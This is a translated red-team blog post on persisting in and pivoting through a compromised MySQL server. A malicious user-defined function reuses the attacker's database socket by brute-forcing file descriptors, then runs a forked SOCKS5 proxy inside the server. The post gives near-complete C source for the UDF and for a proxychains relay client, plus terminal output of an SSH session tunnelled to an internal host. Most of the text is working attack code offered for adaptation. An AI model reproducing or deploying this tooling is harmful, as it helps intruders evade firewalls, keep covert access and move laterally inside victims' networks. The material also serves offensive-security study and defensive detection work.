利用MySQL服务搭建代理通信隧道

iso60001  1568天前

22.jpg

在进行红队练习时,我喜欢使用UDF作为持久控制的方式,因为它很难被捕获,而且易于使用,可轻松弹出shell。而在最近,我们的红队就遇到这样一种情况:除了数据库服务,网络防火墙会拦截所有和内部机器的通信流量。此时,经典的UDF弹shell失效了,它无法回连我们。当然我们还是可以执行类似do_system("my shiny command")的命令,不过这非常不方便。

既然防火墙只让我们使用MySQL服务,那就把MySQL服务变为代理,让它成为我们征服内网的支点!

声明:以下代码的质量实在不行,请理解代码中的思想并根据需要来实现功能,请勿直接使用(只是简单的PoC)。

用户定义函数(UDF)和MySQL

在MySQL中,用户可以自定义函数,借此扩展出丰富强大的功能。而这些新函数是通过MySQL加载共享对象实现的,你可以通过传统的查询语句select your_function('pwn');来使用它们。

如果你记忆力足够好,可能还记得Raptor/do_system,它利用UDF以root权限执行恶意命令。我们可以使用这个代码作为框架来构建所需的UDF:

#include <stdio.h>
#include <stdlib.h>

typedef struct st_udf_args {
    unsigned intarg_count;  // number of arguments
    enum Item_result *arg_type;  // pointer to item_result
    char **args; // pointer to arguments
    unsigned long   *lengths;   // length of string args
    char *maybe_null;// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
    char    maybe_null; // 1 if func can return NULL
    unsigned int    decimals;   // for real functions
    unsigned long   max_length; // for string functions
    char    *ptr;   // free ptr for func data
    char    const_item; // 0 if result is constant
} UDF_INIT;

int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    // Magic & Unicorns
    return 1;
}

char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
    return(0);
}

只需gcc -shared -o carracha.so carracha.c -fPIC,再将文件移动到插件目录,加载进MySQL中(create function do_carracha returns integer soname 'carracha.so';)。

寻找目标

如前所述,我们使用这个UDF重用连接,代理转发所有的TCP流量。如果我们知道连接所使用的文件描述符是什么,就可以轻松地重用它。不幸的是,我们不能直接知道连接使用的是什么文件描述符,所以我们需要暴力破解,直到找到正确的目标。这其实是一种非常古老的技术,在NetSec上曾有详细描述的文章

首先,我们需要知道文件描述符的范围(以进行暴力破解)。为此,我们可以打开一个新的socket,并返回其文件描述符,这个数字将是破解的上限:

int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    ...
    int fd;

    fd = socket(AF_UNIX, SOCK_STREAM, 0);
    close(fd);
    ...
}

一旦知道爆破的范围,接着使用getpeername确定某个文件描述符是否和一个有效的socket关联,以及连接到socket的端点是否是我们自己。

...
    for (i = 3; i < fd; i++) {
        ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size);
            if (ret == 0) {
                char ip[INET6_ADDRSTRLEN];

                if (client_addr.ss_family == AF_INET) {
                    struct sockaddr_in *s = (struct sockaddr_in *)&client_addr;
                    inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip));
                }
                else if (client_addr.ss_family == AF_INET6) {
                    struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr;
                    inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip));
                }

                if (strstr(ip, "X.X.X.X")) { // Hardcoded because it is a PoC. We should take this value from function argument (do_carracha('ip'))
                    write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); // Say hello to our client!
                    }
                } 
        }
        memset(&client_addr, 0, sizeof(client_addr));
    }
...

经过几行代码,我们找到了那个神圣的入口!

将proxychains连接到MySQL服务

建立连接通信最简单方法是使用MySQL C API。我们将使用这个教程的代码,建立稳定连接,然后直接打开socket执行查询(do_carracha('whatever')):

void proxy_init(int sock){
    ...
    write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30); // 执行问询 "select do_carracha('a')"
    ...
}

int main (int argc, char **argv) {
    MYSQL *con = mysql_init(NULL);

    if (con == NULL) {
        fprintf(stderr, "%s\n", mysql_error(con));
        exit(1);
    }
    if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) {
        fprintf(stderr, "%s\n", mysql_error(con));
        mysql_close(con);
        exit(1);
    }

    proxy_init(3); // 3 is the socket (0 -> stdin, 1 -> stdout, 2 -> stderr)
    exit(0);
}

我们客户端将打开一个本地端口,并转发proxychains和MySQL连接之间的消息,所以无论它从proxychains收到什么,都将发送到服务器,反之亦然。这主要通过多个select来完成。

此时,我们有一个客户端来进行MySQL服务和proxychains之间的通信,而UDF将重用客户端socket来发送/接收消息。剩下唯一要解决的问题就是在UDF中实现SOCKS5。

将SOCKS5添加到UDF

我不喜欢重复造轮子,所以打算利用这个SOCKS5实例。我将重用在mod_ringbuilder(一个Apache后门,如果你对这个感兴趣,可以查看XAMP堆栈(第三部分)中的后门:Apache模块)中使用的稍微改动过的版本。

首先,我们派生进程(这样就不会产生阻塞),在子进程中使用被捕获的socket作为参数调用proxy函数,然后在父进程中关闭socket。

...

void *worker(int fd) {
    int inet_fd = -1;
    int command = 0;
    unsigned short int p = 0;
    socks5_invitation(fd);
    socks5_auth(fd);
    command = socks5_command(fd);
    if (command == IP) {
        char *ip = NULL;
        ip = socks5_ip_read(fd);
        p = socks5_read_port(fd);
        inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd);
        if (inet_fd == -1) {
            exit(0);
        }
        socks5_ip_send_response(fd, ip, p);
        free(ip);
} 

    app_socket_pipe(inet_fd, fd);
    close(inet_fd);
    exit(0);
}

void proxy(int socks) {
    char a[1];
    write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1);
    read(socks, a, sizeof(a)); // 
    worker(socks);
    return;
}
int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
                ...
                if (strstr(ip, "x.x.x.x")) {
                    write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1);
                    pid = fork();
                    if (pid == 0) {
                        proxy(i);
                        exit(0);    
                    }    
                    else {
                        close(i);
                        return 1;
                    }
                } 
                ...
}

...

PoC||GTFO

在这个PoC中使用了两个文件:

// SOCKS5 inside a UDF
// based on https://github.com/fgssfgss/socks_proxy

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <sys/select.h>



#define BUFSIZE 65536
#define IPSIZE 4
#define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))

typedef struct st_udf_args {
unsigned intarg_count;  // number of arguments
enum Item_result*arg_type;  // pointer to item_result
char **args; // pointer to arguments
unsigned long   *lengths;   // length of string args
char *maybe_null;// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
charmaybe_null; // 1 if func can return NULL
unsigned intdecimals;   // for real functions
unsigned long   max_length; // for string functions
char *ptr;   // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;



enum socks {
    RESERVED = 0x00,
    VERSION = 0x05
};

enum socks_auth_methods {
    NOAUTH = 0x00,
    USERPASS = 0x02,
    NOMETHOD = 0xff
};

enum socks_auth_userpass {
    AUTH_OK = 0x00,
    AUTH_VERSION = 0x01,
    AUTH_FAIL = 0xff
};

enum socks_command {
    CONNECT = 0x01
};

enum socks_command_type {
    IP = 0x01,
    DOMAIN = 0x03
};

enum socks_status {
    OK = 0x00,
    FAILED = 0x05
};


int readn(int fd, void *buf, int n)
{
    int nread, left = n;
    while (left > 0) {
        if ((nread = read(fd, buf, left)) == 0) {
            return 0;
        } else if (nread != -1){
            left -= nread;
            buf += nread;
        }
    }
    return n;
}


void socks5_invitation(int fd) {
    char init[2];
    readn(fd, (void *)init, ARRAY_SIZE(init));
    if (init[0] != VERSION) {
        exit(0);
    }
}

void socks5_auth(int fd) {
        char answer[2] = { VERSION, NOAUTH };
        write(fd, (void *)answer, ARRAY_SIZE(answer));
}

int socks5_command(int fd)
{
    char command[4];
    readn(fd, (void *)command, ARRAY_SIZE(command));
    return command[3];
}

char *socks5_ip_read(int fd)
{
    char *ip = malloc(sizeof(char) * IPSIZE);
    read(fd, (void* )ip, 2); //Buggy
    readn(fd, (void *)ip, IPSIZE);
    return ip;
}

unsigned short int socks5_read_port(int fd)
{
    unsigned short int p;
    readn(fd, (void *)&p, sizeof(p));
    return p;
}

int app_connect(int type, void *buf, unsigned short int portnum, int orig) {
    int new_fd = 0;
    struct sockaddr_in remote;
    char address[16];

    memset(address,0, ARRAY_SIZE(address));
    new_fd = socket(AF_INET, SOCK_STREAM,0);
    if (type == IP) {
        char *ip = NULL;
        ip = buf;
        snprintf(address, ARRAY_SIZE(address), "%hhu.%hhu.%hhu.%hhu",ip[0], ip[1], ip[2], ip[3]);
        memset(&remote, 0, sizeof(remote));
        remote.sin_family = AF_INET;
        remote.sin_addr.s_addr = inet_addr(address);
        remote.sin_port = htons(portnum);

        if (connect(new_fd, (struct sockaddr *)&remote, sizeof(remote)) < 0) {
            return -1;
        }
        return new_fd;
    }
}

void socks5_ip_send_response(int fd, char *ip, unsigned short int port)
{
    char response[4] = { VERSION, OK, RESERVED, IP };
    write(fd, (void *)response, ARRAY_SIZE(response));
    write(fd, (void *)ip, IPSIZE);
    write(fd, (void *)&port, sizeof(port));
}


void app_socket_pipe(int fd0, int fd1)
{
    int maxfd, ret;
    fd_set rd_set;
    size_t nread;
    char buffer_r[BUFSIZE];

    maxfd = (fd0 > fd1) ? fd0 : fd1;
    while (1) {
        FD_ZERO(&rd_set);
        FD_SET(fd0, &rd_set);
        FD_SET(fd1, &rd_set);
        ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL);

        if (ret < 0 && errno == EINTR) {
            continue;
        }

        if (FD_ISSET(fd0, &rd_set)) {
            nread = recv(fd0, buffer_r, BUFSIZE, 0);
            if (nread <= 0)
                break;
            send(fd1, (const void *)buffer_r, nread, 0);
        }

        if (FD_ISSET(fd1, &rd_set)) {
            nread = recv(fd1, buffer_r, BUFSIZE, 0);
            if (nread <= 0)
                break;
            send(fd0, (const void *)buffer_r, nread, 0);
        }
    }
}

void *worker(int fd) {
    int inet_fd = -1;
    int command = 0;
    unsigned short int p = 0;
    socks5_invitation(fd);
    socks5_auth(fd);
    command = socks5_command(fd);
    if (command == IP) {
        char *ip = NULL;
        ip = socks5_ip_read(fd);
        p = socks5_read_port(fd);
        inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd);
        if (inet_fd == -1) {
            exit(0);
        }
        socks5_ip_send_response(fd, ip, p);
        free(ip);
} 

    app_socket_pipe(inet_fd, fd);
    close(inet_fd);
    exit(0);
}





void proxy(int socks) {
    char a[1];
    write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1);
    read(socks, a, sizeof(a)); // 
    worker(socks);
    return;
}

int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);

    int fd, i, ret, pid;
     struct sockaddr_storage client_addr;
    socklen_t addr_size = sizeof(client_addr);

fd = socket(AF_UNIX, SOCK_STREAM, 0);
    close(fd);
    for (i = 3; i < fd; i++) {
        ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size);
            if (ret == 0) {
                char ip[INET6_ADDRSTRLEN];

                if (client_addr.ss_family == AF_INET) {
                    struct sockaddr_in *s = (struct sockaddr_in *)&client_addr;
                    inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip));
                }
                else if (client_addr.ss_family == AF_INET6) {
                    struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr;
                    inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip));
                }

                if (strstr(ip, "X.X.X.X")) {
                    write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1);
                    pid = fork();
                    if (pid == 0) {
                        proxy(i);
                        exit(0);    
                    }    
                    else {
                        close(i);
                        return 1;
                    }
                } 
        }
        memset(&client_addr, 0, sizeof(client_addr));
    }
     return fd;

}

char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}

第二个文件和连接通信相关。

// PoC to communicate proxychains and SOCKS5 
#include <my_global.h>
#include <mysql.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <fcntl.h>



void proxy_init(int sock){
    fd_set readset;
    struct timeval tv;
    int i, retval, nread, localfd, clientlen, sr, maxfd, select_fd[2];
    char test[1024];
    struct sockaddr_in server, client;
    fprintf(stderr, "[ SERVER BANNER ]\n\n");
    write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30);

    select_fd[0] = sock;
    while(1) {https://nets.ec/Shellcode/Socket-reuse
        FD_ZERO(&readset);
        FD_SET(select_fd[0], &readset);
        tv.tv_sec = 1;
        tv.tv_usec = 0;
        retval = select(select_fd[0] + 1, &readset, NULL, NULL, &tv);
        if (retval) {
            nread = read(select_fd[0], test, sizeof(test));
            fprintf(stderr, "%s", test);
            if (strstr(test, "Child")) {
                break;
            }
        }
    }

    if ((localfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        fprintf(stderr, "\nERROR: could not open new socket!\n");
        exit(1);
    }


    server.sin_family = AF_INET;
    server.sin_port = htons(1337);
    server.sin_addr.s_addr = INADDR_ANY; 

    if (bind(localfd, (struct sockaddr *)&server, sizeof(server)) == -1) {
        fprintf(stderr, "\nERROR: could not bind!\n");
        exit(1);
    }

    if (listen(localfd,5) == -1) {
        fprintf(stderr, "\nERROR: could not listen!\n");
        exit(1);
    }

    clientlen = sizeof(client);
    fprintf(stderr, "\n[ RUN YOUR PROXYCHAINS NOW ]\n");

    if ((select_fd[1] = accept(localfd, (struct sockaddr *)&client, &clientlen)) == -1) {
        fprintf(stderr, "\nERROR: could not accept!\n");
        exit(1);
    }





    while(1) {
        tv.tv_sec = 1;
        tv.tv_usec = 0;
        FD_ZERO(&readset);
        maxfd = (select_fd[0] > select_fd[1])? select_fd[0] : select_fd[1];
        for (i = 0; i < 2; i++) {
            FD_SET(select_fd[i],  &readset);
        }
        sr = select(maxfd + 1, &readset, NULL, NULL, &tv);
        if (sr == -1) {
            fprintf(stderr, "ERROR: Select failed, something went reaaaally wrong!\n");
            exit(1);
        }
        if (sr) {
            for (i = 0; i < 2; i++) {
                if(FD_ISSET(select_fd[i], &readset)) {
                    memset(test, 0, sizeof(test));
                    if (i == 0) {
                        nread = read(select_fd[0], test, sizeof(test));
                        fprintf(stderr, "-> %d packets from server\n", nread);
                        write(select_fd[1], test, nread);
                    }
                    else if (i == 1) {
                        nread = read(select_fd[1], test, sizeof(test));
                        if (nread <= 0){
                            fprintf(stderr, "ERROR: could not read from proxychains!\n");
                            exit(1);
                        }
                        fprintf(stderr, "<- %d packets from proxychains\n", nread);
                        write(select_fd[0], test, nread);
                    }
                }    
            }
        }
    }



}


int main (int argc, char **argv) {
    MYSQL *con = mysql_init(NULL);

    if (con == NULL) {
        fprintf(stderr, "%s\n", mysql_error(con));
        exit(1);
    }
    if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) {
        fprintf(stderr, "%s\n", mysql_error(con));
        mysql_close(con);
        exit(1);
    }

    proxy_init(3);
    exit(0);
}

编译并运行:

Terminal 1

root@insularaptor:/tmp# ./MyShellQL 
[ SERVER BANNER ]

Now I am become Death
And this is my Child

[ RUN YOUR PROXYCHAINS NOW ]

Terminal 2

root@insularaptor:/tmp# proxychains ssh mothra@192.168.245.197
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.245.197:22-<><>-OK
mothra@192.168.245.197's password: 
Linux arcadia 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
indi vidual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec  7 19:22:36 2019 from 127.0.0.1
mothra@arcadia:~|⇒  exit
Connection to 192.168.245.197 closed.

是的,我们刚刚把MySQL服务改造成了ssh代理!多么隐蔽的通信方式!

最后

UDF在渗透测试中一直是一款强力工具。希望这篇文章对你在信息安全方面的学习起到帮助,或者对你来说足够有趣。如果你发现了文章错误,请及时与我联系@TheXC3LL

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://x-c3ll.github.io/posts/Pivoting-MySQL-Proxy/

最新评论

昵称
邮箱
提交评论